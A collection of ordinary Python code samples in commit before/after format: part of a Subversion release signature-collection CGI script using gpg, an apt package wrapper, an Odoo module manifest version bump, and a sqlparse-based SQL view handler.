<title>Signature collection for Subversion $version</title>

This page is used to collect signatures for the proposed release of
Apache Subversion $version.

$content

'''

def default_page():
  c = '''
<form method="post">

Paste signatures in the area below:

<textarea name="signatures" rows="20" cols="80"></textarea>

<input type="submit" value="Submit" />

Any text not between the <tt>BEGIN PGP SIGNATURE</tt>
and <tt>END PGP SIGNATURE</tt> lines will be ignored.

</form>
'''

  return c

def split(sigs):
  lines = []
  for line in sigs.split('\n'):
    if lines or '--BEGIN' in line:
      lines.append(line)
    if '--END' in line:
      yield "\n".join(lines)
      lines = []

def save_valid_sig(filename, signature):
  f = open(os.path.join(config.sigdir, filename + '.asc'), 'a')
  f.write(signature)

def verify_sig_for_file(signature, filename):
  args = ['gpg', '--logger-fd', '1', '--no-tty',
          '--status-fd', '2', '--verify', '-',
          os.path.join(config.filesdir, filename)]

  gpg = subprocess.Popen(args,
                         stdin=subprocess.PIPE,
                         stdout=subprocess.PIPE,
                         stderr=subprocess.PIPE)

  gpg.stdin.write(signature)
  gpg.stdin.close()

  rc = gpg.wait()
  output = gpg.stdout.read()
  status = gpg.stderr.read()

  if rc:
    return (False, status + output)

  lines = status.split('\n')
  for line in lines:
    match = r.search(line)
    if match:
      keyid = match.group(1)[-8:]
      user = match.group(2)

  return (True, (filename, keyid, user))

def verify_sig(signature):
  all_failures = ""
  for filename in files():
    (verified, result) = verify_sig_for_file(signature, filename)
    if verified:
      return (verified, result)
    else:
      all_failures += "%s:\n[[[\n%s]]]\n\n" % (filename, result)
  return (False, all_failures)

def process_sigs(signatures):
  success = '''

All %d signatures verified!

'''
  failure = '''

%d of %d signatures failed to verify; details below.

'''
  c_verified = '''

The signature is verified!

Filename: %s

Key ID: %s

User: %s

This signature has been saved, and will be included as part of the
    release signatures.  Please send mail to
    dev@subversion.apache.org
    acknowledging your successful signature.

'''
  c_unverified = '''

The signature was not able to be verified!

Signature:
%s

Reason:

%s

Please talk to the release manager if this is in error.

'''

  outcomes = []
  N_sigs = 0
  N_verified = 0
  retval = ''

  # Verify
  for signature in split(signatures):
    N_sigs += 1
    (verified, result) = verify_sig(signature)
    outcomes.append((verified, result))

    if verified:
      # TODO: record (filename, keyid) in a database
      (filename, keyid, user) = result
      save_valid_sig(filename, signature)
      N_verified += 1

  # Report
  if N_verified == N_sigs:
    retval += success % N_sigs
  else:
    retval += failure % (N_sigs-N_verified, N_sigs)

  N = 0
  for outcome in outcomes:
    N += 1
    (verified, result) = outcome
    retval += "
Results for the %s signature
" % ordinal(N)
    if verified:
      (filename, keyid, user) = result
      retval += c_verified % (filename, keyid, user)
    else:
      retval += c_unverified % (signature, result)

  return retval

def main():
  print "Content-Type: text/html"
  print

  form = cgi.FieldStorage()
  if 'signatures' not in form:
    content = default_page()
  else:
    content = process_sigs(form['signatures'].value)

  # These are "global" values, not specific to our action.
  mapping = {
      'version' : config.version,
      'content' : content,
    }

  template = string.Template(shell_content)
  print template.safe_substitute(mapping)

if __name__ == '__main__':
  main()
<|endoftext|>


<commit_before><commit_msg>release 0.55.4<commit_after><|endoftext|>


<commit_before>import wrap_apt

def schema():
    """
    This returns
    """
    return { 'title': 'apt schema',
            'type': 'string'
            }

def verify(inputhashes):
    """
    """
    failed = []
    for package in inputhashes:
        if(wrap_apt.check_package_is_installed(package) == False):
            failed.append(package)
    return failed

def apply(inputhashes, log, **kwargs):
    failed = []
    for package in inputhashes:
        log.error('test')
        if(wrap_apt.install_package(package) == False):
            failed.append(package)
    return failed

<commit_msg>removing bad log<commit_after>import wrap_apt

def schema():
    """
    This returns
    """
    return { 'title': 'apt schema',
            'type': 'string'
            }

def verify(inputhashes):
    """
    """
    failed = []
    for package in inputhashes:
        if(wrap_apt.check_package_is_installed(package) == False):
            failed.append(package)
    return failed

def apply(inputhashes, log, **kwargs):
    failed = []
    for package in inputhashes:
        if(wrap_apt.install_package(package) == False):
            failed.append(package)
    return failed

<|endoftext|>


<commit_before># Copyright (C) 2017 - Today: GRAP (http://www.grap.coop)
# @author: Sylvain LE GAL (https://twitter.com/legalsylvain)
# License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl.html).

{
    "name": "SQL Request Abstract",
    "version": "14.0.1.1.0",
    "author": "GRAP,Akretion,Odoo Community Association (OCA)",
    "maintainers": ["legalsylvain"],
    "website": "https://github.com/OCA/server-tools",
    "license": "AGPL-3",
    "category": "Tools",
    "summary": "Abstract Model to manage SQL Requests",
    "depends": ["base"],
    "data": [
        "security/ir_module_category.xml",
        "security/res_groups.xml",
        "security/ir.model.access.csv",
    ],
    "installable": True,
}
<commit_msg>sql_request_abstract 14.0.1.2.0<commit_after># Copyright (C) 2017 - Today: GRAP (http://www.grap.coop)
# @author: Sylvain LE GAL (https://twitter.com/legalsylvain)
# License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl.html).

{
    "name": "SQL Request Abstract",
    "version": "14.0.1.2.0",
    "author": "GRAP,Akretion,Odoo Community Association (OCA)",
    "maintainers": ["legalsylvain"],
    "website": "https://github.com/OCA/server-tools",
    "license": "AGPL-3",
    "category": "Tools",
    "summary": "Abstract Model to manage SQL Requests",
    "depends": ["base"],
    "data": [
        "security/ir_module_category.xml",
        "security/res_groups.xml",
        "security/ir.model.access.csv",
    ],
    "installable": True,
}
<|endoftext|>


<commit_before>from sqlparse import sql,tokens
import sqlparse

class ViewHandler(object):

	def query_matched_views(self,token_list,given_views):
		"""returns the views that exist in the from clause of the query
		and also in the given views dictionary"""
		for idx,token in enumerate(token_list.tokens):
			if(isinstance(token,sql.IdentifierList)):
				previous = token_list.token_prev(idx)
				if(previous.normalized == 'FROM' and previous.ttype==tokens.Token.Keyword):
					for subtoken in token.get_sublists():
						if(isinstance(subtoken,sql.Identifier)):
							view_alias = None
							view_name = subtoken.get_real_name()
							if(subtoken.has_alias()):
								view_alias = subtoken.get_alias()
							if(view_name in given_views):
								yield view_name.__str__(),view_alias

	def view_exist_in_query(self,token_list,view):
		"""returns True if the specified view is found in the from clause of the query"""
		exist = False
		for idx,token in enumerate(token_list.tokens):
			if(isinstance(token,sql.IdentifierList)):
					previous = token_list.token_prev(idx)
					if(previous.normalized == 'FROM' and previous.ttype==tokens.Token.Keyword):
						for subtoken in token.get_sublists():
							if(isinstance(subtoken,sql.Identifier)):
								view_name = subtoken.get_real_name()
								if(view_name == view):
									exist = True
		return exist

	def get_identifiers(self,token_list,identifiers_tuple=())	:
		""" recursive method that fetches identifiers from a token list"""
		for token in token_list.tokens:
			if(isinstance(token,sql.Identifier)):
				identifiers_tuple+=(token,)
			if(token.is_group()):
				for identifier in token.get_sublists():
					if(isinstance(identifier,sql.Identifier)):
						identifiers_tuple+=(identifier,)
						identifiers_tuple=(self.get_identifiers(identifier,identifiers_tuple))
					elif(identifier.is_group()):
						identifiers_tuple=(self.get_identifiers(identifier,identifiers_tuple))
		return identifiers_tuple

	def get_view_attributes(self,token_list,local_view_name):
		"""returns all the attributes mentioned in a query that belong to a given view"""
		attribute = None
		identifiers = self.get_identifiers(token_list)
		for x,identifier in enumerate(identifiers):
			id_tokens = sql.TokenList(list(identifier.flatten()))
			for idx,token in enumerate(id_tokens.tokens):
				if(token.ttype == tokens.Token.Name and token.value == local_view_name):
					next_token = id_tokens.token_next(idx)
					if(next_token == None):
						continue
					elif(next_token.ttype == tokens.Token.Punctuation and next_token.value == '.'):
						attribute = id_tokens.token_next(idx+1)
						yield attribute.value

class GeneratedView(object):

    root=None
    name=None
    attributes=[]

    def root_exists(self,given_views,query_views):
        return False

    def get_root(self,given_views):
        pass

    def generate_name(self):
        pass

    def get_attributes_from_root(parent,query_views_attributes):
        pass

    def __init__(self,given_views,query_views,query_views_attributes):
        if(self.root_exists(given_views,query_views)):
            root=self.get_root(given_views)
            name=self.generate_name()
            attributes=self.get_attributes_from_root(root,query_views_attributes)

#--------------- debugging -----------------------------------
test = ViewHandler()
given_views = {'view1':('A1','A2','A3'),'view2':('A1','A2','A3','A4'),'view3':('A1','A2','A4')}
sql_test = 'select v1.name as nom,V2.code,count(V2.id) from view1 as v1, view2,sales where v1.code like "12345" group by nom;'

parsed = sqlparse.parse(sql_test)
tokenlist = sql.TokenList(parsed[0].tokens)

print dict(test.query_matched_views(tokenlist,given_views))
print'\n'
identifiers = test.get_identifiers(tokenlist)
print 'arithmos identifiers:',len(identifiers)
for x,token in enumerate(identifiers):
	print x, " ",token.normalized,' ',token.__class__.__name__
print '\n\n'

identifiers2 = test.get_identifiers(tokenlist)
print 'arithmos identifiers:',len(identifiers2)
for x,token in enumerate(identifiers2):
	print x, " ",token.normalized,' ',token.__class__.__name__

print test.view_exist_in_query(tokenlist,'view1')
print '\n'
print list(test.get_view_attributes(tokenlist,'V2'))<commit_msg>New method that fetches predicates from a token list for a given view<commit_after>from sqlparse import sql,tokens
import sqlparse

class ViewHandler(object):

	def query_matched_views(self,token_list,given_views):
		"""returns the views that exist in the from clause of the query
		and also in the given views dictionary"""
		for idx,token in enumerate(token_list.tokens):
			if(isinstance(token,sql.IdentifierList)):
				previous = token_list.token_prev(idx)
				if(previous.normalized == 'FROM' and previous.ttype==tokens.Token.Keyword):
					for subtoken in token.get_sublists():
						if(isinstance(subtoken,sql.Identifier)):
							view_alias = None
							view_name = subtoken.get_real_name()
							if(subtoken.has_alias()):
								view_alias = subtoken.get_alias()
							if(view_name in given_views):
								yield view_name.__str__(),view_alias

	def view_exist_in_query(self,token_list,view):
		"""returns True if the specified view is found in the from clause of the query"""
		exist = False
		for idx,token in enumerate(token_list.tokens):
			if(isinstance(token,sql.IdentifierList)):
					previous = token_list.token_prev(idx)
					if(previous.normalized == 'FROM' and previous.ttype==tokens.Token.Keyword):
						for subtoken in token.get_sublists():
							if(isinstance(subtoken,sql.Identifier)):
								view_name = subtoken.get_real_name()
								if(view_name == view):
									exist = True
		return exist

	def get_identifiers(self,token_list,identifiers_tuple=())	:
		""" recursive method that fetches identifiers from a token list"""
		for token in token_list.tokens:
			if(isinstance(token,sql.Identifier)):
				identifiers_tuple+=(token,)
			if(token.is_group()):
				for identifier in token.get_sublists():
					if(isinstance(identifier,sql.Identifier)):
						identifiers_tuple+=(identifier,)
						identifiers_tuple=(self.get_identifiers(identifier,identifiers_tuple))
					elif(identifier.is_group()):
						identifiers_tuple=(self.get_identifiers(identifier,identifiers_tuple))
		return identifiers_tuple

	def get_view_attributes(self,token_list,local_view_name):
		"""returns all the attributes mentioned in a query that belong to a given view"""
		attribute = None
		identifiers = self.get_identifiers(token_list)
		for x,identifier in enumerate(identifiers):
			id_tokens = sql.TokenList(list(identifier.flatten()))
			for idx,token in enumerate(id_tokens.tokens):
				if(token.ttype == tokens.Token.Name and token.value == local_view_name):
					next_token = id_tokens.token_next(idx)
					if(next_token == None):
						continue
					elif(next_token.ttype == tokens.Token.Punctuation and next_token.value == '.'):
						attribute = id_tokens.token_next(idx+1)
						yield attribute.value

	def get_view_predicates(self,token_list,local_view_name):
		"""generates <Comparison> objects which contain the given view's attributes"""
		attributes = list(self.get_view_attributes(token_list,local_view_name))
		for token in token_list.tokens:
			if(isinstance(token,sql.Where)):
				for comparison in token.get_sublists():
					if(isinstance(comparison,sql.Comparison)):
						for identifier in comparison.get_sublists():
							if(isinstance(identifier,sql.Identifier)):
								names = list(identifier.flatten())
								for idx in range(len(names)):
									if(names[idx].ttype == tokens.Token.Name and names[idx].value == local_view_name and
									(names[idx+2].value in attributes)):
										yield comparison

class GeneratedView(object):

    root=None
    name=None
    attributes=[]

    def root_exists(self,given_views,query_views):
        return False

    def get_root(self,given_views):
        pass

    def generate_name(self):
        pass

    def get_attributes_from_root(parent,query_views_attributes):
        pass

    def __init__(self,given_views,query_views,query_views_attributes):
        if(self.root_exists(given_views,query_views)):
            root=self.get_root(given_views)
            name=self.generate_name()
            attributes=self.get_attributes_from_root(root,query_views_attributes)

#--------------- debugging -----------------------------------
test = ViewHandler()
given_views = {'view1':('A1','A2','A3'),'view2':('A1','A2','A3','A4'),'view3':('A1','A2','A4')}
sql_test = 'select v1.name as nom,V2.code,count(V2.id) from view1 as v1, view2,sales where v1.code = sales.code group by nom;'

parsed = sqlparse.parse(sql_test)
tokenlist = sql.TokenList(parsed[0].tokens)

print dict(test.query_matched_views(tokenlist,given_views))
print'\n'
identifiers = test.get_identifiers(tokenlist)
print 'arithmos identifiers:',len(identifiers)
for x,token in enumerate(identifiers):
	print x, " ",token.normalized,' ',token.__class__.__name__
print '\n\n'

identifiers2 = test.get_identifiers(tokenlist)
print 'arithmos identifiers:',len(identifiers2)
for x,token in enumerate(identifiers2):
	print x, " ",token.normalized,' ',token.__class__.__name__

print test.view_exist_in_query(tokenlist,'view1')
print '\n'
print list(test.get_view_attributes(tokenlist,'V2'))

print '\n'
print list(test.get_view_predicates(tokenlist,'v1'))<|endoftext|>